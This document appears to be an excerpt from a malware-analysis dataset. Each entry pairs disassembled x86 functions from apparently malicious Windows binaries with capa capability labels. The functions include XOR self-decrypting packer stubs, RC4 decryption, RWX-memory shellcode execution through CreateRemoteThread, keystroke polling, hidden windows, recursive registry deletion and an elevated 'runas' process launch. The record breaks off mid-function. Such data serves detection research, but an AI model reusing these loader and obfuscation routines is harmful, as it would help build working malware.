joyce8/EMBER2024-capa huggingface dataset:
Function at 0x435448
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4355b1
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00404818
mov eax, dword [ebp - 0x10]
call fcn.00434fbc
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x43549a
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, 1
call fcn.00404ce0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004358e8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x43556f
xor eax, eax
push ebp
push 0x435568
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.00435168
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.004355c0
test al, al
je 0x435546
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 0x14]
xor edx, edx
call fcn.00404870
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x435546
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00404c40
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
jne 0x435540
mov eax, dword [ebp - 0x14]
call fcn.00404c40
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.00404978
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 4]
call fcn.00435448
dec ebx
cmp ebx, 0xffffffff
jne 0x4354f9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43556f
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.00435168
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 0x10]
call fcn.00404c40
push eax
mov dl, byte [ebp - 9]
mov eax, dword [ebp - 4]
call fcn.00435154
push eax
call sub.advapi32.dll_RegDeleteKeyA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4355b8
lea eax, [ebp - 0x3c]
call fcn.00404780
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004047a4
ret

Function at 0x4355c0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.00403238
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
sete al
mov edx, dword [0x4c743c]
cmp byte [edx + 0xc], 0
je 0x435624
mov edx, dword [0x4c741c]
cmp dword [edx], 2
jne 0x435624
mov edx, dword [ebx + 4]
add dword [ebx + 4], edx
mov edx, dword [ebx + 0xc]
add dword [ebx + 0xc], edx
pop esi
pop ebx
ret
Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x40b2d0
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x813030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2ece1cc]
push ebx
mov ebx, dword [0x2ecdeec]
push esi
mov esi, dword [0x813f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40b311
push str.tirasumocatum
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2ece1cc]
mov dword [0x2ecdee8], esi
cmp eax, 0x114e
jne 0x40b336
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
mov eax, dword [0x2ece1cc]
cmp eax, 0x2f
jne 0x40b364
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push edi
push ebx
call fcn.0040b170
mov ecx, dword [esp + 0x438]
add esp, 8
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040110c
add esp, 0x428
ret
Function at 0x40190b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x20c
mov eax, dword [0x425040]
xor eax, esp
mov dword [esp + 0x204], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x10], cl
push 0x24
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x4774b0]
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, ebp
jl 0x40192c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x10]
movzx eax, byte [esp + esi + 0x110]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x401972
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + esi + 0x10], al
inc esi
mov byte [esp + ebx + 0x10], dl
cmp esi, ebp
jl 0x40194f
mov ebx, edi
mov ebp, edi
inc edi
and edi, 0x800000ff
jns 0x401998
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x10]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x4019b1
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + edi + 0x10], al
mov byte [esp + ebx + 0x10], cl
call fcn.00401f03
push eax
call fcn.004020c6
movzx eax, byte [esp + edi + 0x14]
add eax, esi
movzx eax, al
pop ecx
mov al, byte [esp + eax + 0x10]
xor byte [ebp + section..Right], al
inc ebp
cmp ebp, 0x50000
jl 0x401987
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004047e0
add esp, 0x20c
ret

Function at 0x401c18
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x425040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x422e88
lea ecx, [ebp - 0x1c]
call fcn.00401d07
push 0xc
call fcn.004047f3
pop ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004019ff
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x477000
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
xor eax, eax
push eax
push eax
push eax
push 0x401bdd
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ecx
push ecx
call fcn.0040190b
pop ecx
pop ecx
mov edx, 0x477000
add edx, 0x188
mov esi, section..Right
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00401d94
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004047e0
leave
ret

Function at 0x404f90
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x404fcf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404fcf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404fcf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404fcf
cmp dword [ecx + 0x74], 0xe
jbe 0x404fcf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401c66
pop dword [ebp - 0x38]
mov eax, 0x401c66
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xb5dc87ef
sub dword [ebp - 0x48], 0x678a42a4
mov dword [ebp - 0x44], 0xe73a43fa
sub dword [ebp - 0x44], 0xb506f7b5
mov dword [ebp - 0x40], 0x77327598
sub dword [ebp - 0x40], 0x2ae6316a
mov dword [ebp - 0x3c], 0xf37eba6f
add dword [ebp - 0x3c], 0xc814591
lea eax, [ebp - 0x48]
push eax
mov eax, 0xae31d748
add eax, 0x520e590c
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xc0350f9c
sub dword [ebp - 0x48], 0x4bc2a646
mov dword [ebp - 0x44], 0x816db7ce
add dword [ebp - 0x44], 0xbffea9a7
mov dword [ebp - 0x40], 0x4459d9c4
sub dword [ebp - 0x40], 0xe0ea6d58
mov dword [ebp - 0x3c], 0x7852682d
add dword [ebp - 0x3c], 0x87ad97d3
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x2fb6ef91
sub eax, 0x2f76bf65
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x37b46
push 0
call eax
mov ecx, 0xd8c08bc5
add ecx, 0x273fc120
xor ebx, ebx
add ebx, eax
mov esi, 0x7d6eac68
sub esi, 0x7d2e3c68
add esi, dword [ebp - 0x38]
mov edx, 0x759d6a64
mov dword [ebp - 0x2c], 0x4b63b657
mov edi, dword [esi]
add dword [ebp - 0x1c], 0xfb793e14
xor edi, edx
mov dword [ebx], edi
mov dword [ebp - 0x2c], 0x1591f1e9
add ebx, 0x8eb3586c
add ebx, 0x714ca798
add esi, 4
loop 0x401d7f
add eax, 0xc5c65264
sub eax, 0xc5c52bfd
xor ebx, ebx
add ebx, eax
add eax, 0xff7d3853
add eax, 0x82c7b2
mov ecx, 0xa71ee0d8
sub ecx, 0xa6dee0d8
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x403d2f
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
push edi
xor esi, esi
mov dword [ebp - 0x14], ebx
push 0x423384
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], edi
call fcn.00403e00
and dword [ebp - 4], ebx
pop ecx
pop ecx
cmp esi, edi
je 0x403d66
and dword [esi], 0
add esi, 4
mov dword [ebp - 0x10], esi
jmp 0x403d7c
lea eax, [ebp - 4]
push eax
push esi
lea ecx, [ebp - 0x14]
call fcn.004014e5
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x14]
push dword [ebx]
mov ecx, 0x42e098
call fcn.004021de
push eax
call fcn.00401b37
mov eax, esi
sub eax, ebx
and eax, 0xfffffffc
pop ecx
cmp eax, 0x190
jne 0x403d57
lea eax, [ebp - 8]
xor esi, esi
push eax
push 0x40
push 0x4ac
push 0x486218
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push esi
push esi
push 0x40307c
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.00403062
mov edx, 0x486218
add edx, 0x188
mov esi, 0x42f018
push esi
call edx
sub edi, ebx
and edi, 0xfffffffc
push edi
push ebx
call fcn.004014b9
pop ecx
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x4069b0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4069ef
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4069ef
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4069ef
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4069ef
cmp dword [ecx + 0x74], 0xe
jbe 0x4069ef
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x414aa4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x427210
push 0x427208
push 0x424cdc
push 0x1e
call fcn.00414911
mov esi, eax
add esp, 0x10
test esi, esi
je 0x414ad8
push dword [ebp + 8]
mov ecx, esi
call dword [0x423144]
call esi
jmp 0x414ade
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x401c66
pop dword [ebp - 0x24]
mov eax, 0xe4152fd0
add eax, 0x1c2aec96
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xfc5ddbe7
sub dword [ebp - 0x34], 0xae0b969c
mov dword [ebp - 0x30], 0x4dc730b0
sub dword [ebp - 0x30], 0x1b93e46b
mov dword [ebp - 0x2c], 0x540a29a2
sub dword [ebp - 0x2c], 0x7bde574
mov dword [ebp - 0x28], 0xb880e74
sub dword [ebp - 0x28], 0xb880e74
lea eax, [ebp - 0x34]
push eax
mov eax, 0xd73f54ef
add eax, 0x2900db65
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xdf3d6cf2
sub dword [ebp - 0x34], 0x6acb039c
mov dword [ebp - 0x30], 0x1b4b6382
add dword [ebp - 0x30], 0x2620fdf3
mov dword [ebp - 0x2c], 0xda1e9a1d
sub dword [ebp - 0x2c], 0x76af2db1
mov dword [ebp - 0x28], 0xf14eb6b7
sub dword [ebp - 0x28], 0xf14eb6b7
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x37ede
push 0
call eax
mov ecx, 0x6fccb9fd
add ecx, 0x903393ce
xor edi, edi
add edi, eax
mov ebx, 0xd76566b
sub ebx, 0xd35e66b
add ebx, dword [ebp - 0x24]
mov edx, 0x73d3fd2b
add edx, 0xdfea6e17
xor dword [ebp - 0x10], 0x445440df
mov esi, dword [ebx]
mov dword [ebp - 4], 0x6561f714
add esi, edx
add dword [ebp - 0x1c], 0x25aea6a5
mov dword [edi], esi
sub dword [ebp - 8], 0x8972d451
add edi, 4
add ebx, 0xbc4e2e6e
sub ebx, 0xbc4e2e6a
loop 0x401d85
add eax, 0x511ec2ca
add eax, 0xaee26735
xor ebx, ebx
add ebx, eax
add eax, 0xf4e7e278
add eax, 0xb181d8d
mov ecx, 0x449082e2
add ecx, 0xbbaf7d1e
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x412281
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x412290
pop dword [ebp - 0x20]
mov eax, 0x412290
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x37c5a
push 0
mov eax, 0x9bd9800e
add eax, 0x6469101e
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x42e7
mov edx, eax
mov edi, 0x436e00
add edi, dword [ebp - 0x20]
mov esi, 0xb2a97f40
add esi, 0x46f081d1
add dword [ebp - 0xc], esi
mov ebx, dword [edi]
mov dword [ebp - 0x18], 0x416faed0
sub ebx, esi
add dword [ebp - 4], 0x61359bfc
mov dword [edx], ebx
xor dword [ebp - 8], 0x4f02831d
add edx, 4
add edi, 0x71e99d4e
add edi, 0x8e1662b6
loop 0x4122de
add eax, 0x5d94c3f4
sub eax, 0x5d93c585
mov ebx, eax
add eax, 0x75453461
sub eax, 0x7545345c
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x1000c482
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1000c491
pop dword [ebp - 0x40]
mov eax, 0x1000c491
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x3573a
push 0
mov eax, 0xdfd3e9a9
add eax, 0x302df7bb
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x69ca1f4e
add ecx, 0x96361a10
mov ebx, eax
mov esi, 0x1f88e3b3
sub esi, 0xf84a5b3
add esi, dword [ebp - 0x40]
mov edx, 0x2807fa1a
sub edx, 0x196f16a4
xor dword [ebp - 0x18], 0x974af17e
mov edi, dword [esi]
add dword [ebp - 8], 0x4b694d37
xor edi, edx
sub dword [ebp - 0x18], 0x65a0fbb
mov dword [ebx], edi
add ebx, 0x89950b76
add ebx, 0x766af48e
add esi, 0xbc82247b
add esi, 0x437ddb89
loop 0x1000c4eb
add eax, 0xd84b
mov ebx, eax
add eax, 0x3ee6dbe7
add eax, 0xc119241e
mov ecx, 0x3acc9a0f
sub ecx, 0x2acc9a0f
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x1000d4ea
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
mov eax, 0x84
test esi, esi
lea edx, [esi + 0xc]
cmove edx, eax
push edx
mov eax, dword [edx]
call dword [eax + 0x18]
push 0x50
test esi, esi
lea eax, [esi - 0x28]
pop ecx
cmove eax, ecx
pop esi
cmp dword [eax], 0
je 0x1000d51b
push 0
push dword [eax]
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
ret 8

Function at 0x1000fd3c
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x11c
mov eax, dword [0x1003e4c0]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
mov ebx, dword [esp + 0x124]
push ebp
push esi
push edi
mov edi, ecx
xor ebp, ebp
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov eax, dword [edi + 4]
or eax, 0x2001f
push eax
push ebx
push dword [edi]
call fcn.1000c482
mov esi, eax
test esi, esi
jne 0x1000fdeb
lea eax, [esp + 0x20]
push eax
push ebp
push ebp
push ebp
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x1000fdc6
lea eax, [esp + 0x28]
push eax
call fcn.1000fd3c
mov esi, eax
test esi, esi
jne 0x1000fdeb
lea eax, [esp + 0x20]
xor ecx, ecx
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push ecx
push dword [esp + 0x30]
mov dword [esp + 0x30], 0x100
call ebp
lea ecx, [esp + 0x14]
test eax, eax
je 0x1000fda1
call fcn.1000ce21
push ebx
mov ecx, edi
call fcn.1000d242
mov esi, eax
lea ecx, [esp + 0x14]
call fcn.1000ce21
mov ecx, dword [esp + 0x128]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10019a3d
add esp, 0x11c
ret 4
Function at 0x6d922d5d
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d922dab
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x6d922dbc
push 0xd
pop eax
jmp 0x6d922de6
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d922dbf
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x6d9232a5
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d948560]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d92aed2
mov ebx, eax
cmp ebx, esi
je 0x6d923318
lea ecx, [ebp - 0x74]
call fcn.6d922c8b
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d9398d8
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d923330
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d9232a5
cmp eax, esi
jne 0x6d923362
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x6d923320
lea ecx, [ebp - 0x74]
call fcn.6d922c8b
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d922c1c
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d922c8b
mov eax, esi
jmp 0x6d9232fe
Function at 0x6d929903
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x6d92990d
lea esi, [ecx - 0x80]
jmp 0x6d92990f
xor esi, esi
lea eax, [esi + 0x8c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, dword [esi + 0x58]
test esi, esi
je 0x6d92992b
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8

Function at 0x6d92a967
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x1c
test eax, eax
je 0x6d92a97b
add eax, 0xffffff7c
jmp 0x6d92a97d
xor eax, eax
and dword [ebp + 8], 0
push esi
mov esi, dword [ebp + 0xc]
push edi
push 7
pop ecx
lea edi, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 8]
push ecx
push 0x6d93d3c4
lea ecx, [eax + 0xc]
call fcn.6d9295ec
test eax, eax
js 0x6d92a9e6
cmp dword [ebp + 8], 0
je 0x6d92a9e3
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
xor edi, edi
call esi
test ax, ax
jns 0x6d92a9bb
inc edi
push 0x11
call esi
test ax, ax
jns 0x6d92a9c7
add edi, 2
push 0x12
call esi
test ax, ax
jns 0x6d92a9d3
add edi, 4
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push edi
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x1c]
jmp 0x6d92a9e6
xor eax, eax
inc eax
xor ecx, ecx
test eax, eax
mov eax, dword [ebp + 8]
setne cl
mov esi, ecx
test eax, eax
je 0x6d92a9fc
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
mov eax, esi
pop esi
leave
ret 8

Function at 0x6d92aed2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x6d92aee1
pop dword [ebp - 0x18]
mov eax, 0xf474fa8e
add eax, 0x791db453
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3af34
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x745a1174
sub ecx, 0x7459c0b9
mov ebx, eax
mov edi, 0x654952e0
sub edi, 0xf7b210e0
add edi, dword [ebp - 0x18]
mov edx, 0x682598f4
sub dword [ebp - 0x14], eax
mov esi, dword [edi]
add dword [ebp - 0x10], ecx
xor esi, edx
sub dword [ebp - 0xc], 0x16546b2b
mov dword [ebx], esi
mov dword [ebp - 0x14], 0xab820d52
add ebx, 4
add edi, 4
loop 0x6d92af35
add eax, 0x135bf
xor ebx, ebx
add ebx, eax
add eax, 0xf025e6c9
add eax, 0xfda193c
mov ecx, 0x6d920000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x6d92ebb4
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8f4]
sub esp, 0x974
mov eax, dword [0x6d948560]
xor eax, ebp
mov dword [ebp + 0x8f0], eax
mov eax, dword [ebp + 0x8fc]
push ebx
push esi
mov esi, 0x400
push esi
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call fcn.6d92aed2
add esp, 0x10
test eax, eax
je 0x6d92ed0f
lea eax, [ebp - 0x14]
push eax
push str._s_ssvagent.exe
lea eax, [ebp + 0x3ec]
push esi
push eax
call dword [sym.imp.MSVCR100.dll_sprintf_s]
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp + 0x3ec]
push eax
call dword [sym.imp.MSVCR100.dll__stat64i32]
add esp, 0x18
test eax, eax
jne 0x6d92ed0f
mov esi, dword [sym.imp.MSVCR100.dll_strcat_s]
xor ebx, ebx
push edi
mov byte [ebp + 0x7ec], bl
mov edi, 0x104
lea eax, [ebp + 0x7ec]
cmp dword [ebp + 0x900], ebx
je 0x6d92ec50
push str.__new
jmp 0x6d92ec55
push str.__old
push edi
push eax
call esi
add esp, 0xc
cmp dword [ebp + 0x904], ebx
je 0x6d92ec76
push str.__high
lea eax, [ebp + 0x7ec]
push edi
push eax
call esi
add esp, 0xc
cmp dword [ebp + 0x90c], ebx
je 0x6d92ec90
push str.__settreatas
lea eax, [ebp + 0x7ec]
push edi
push eax
call esi
add esp, 0xc
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x80]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp + 0x7ec]
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x6c], eax
pop edi
cmp dword [ebp + 0x904], ebx
je 0x6d92ecc6
call fcn.6d92aed2
test eax, eax
je 0x6d92ecc6
mov dword [ebp - 0x74], str.runas
cmp dword [ebp + 0x908], ebx
je 0x6d92ecd5
mov dword [ebp - 0x7c], 0x40
lea eax, [ebp + 0x3ec]
mov dword [ebp - 0x70], eax
xor esi, esi
lea eax, [ebp - 0x80]
inc esi
push eax
mov dword [ebp - 0x64], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x6d92ed0f
cmp dword [ebp - 0x48], ebx
je 0x6d92ed0b
push 0xffffffffffffffff
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebp - 0x48]
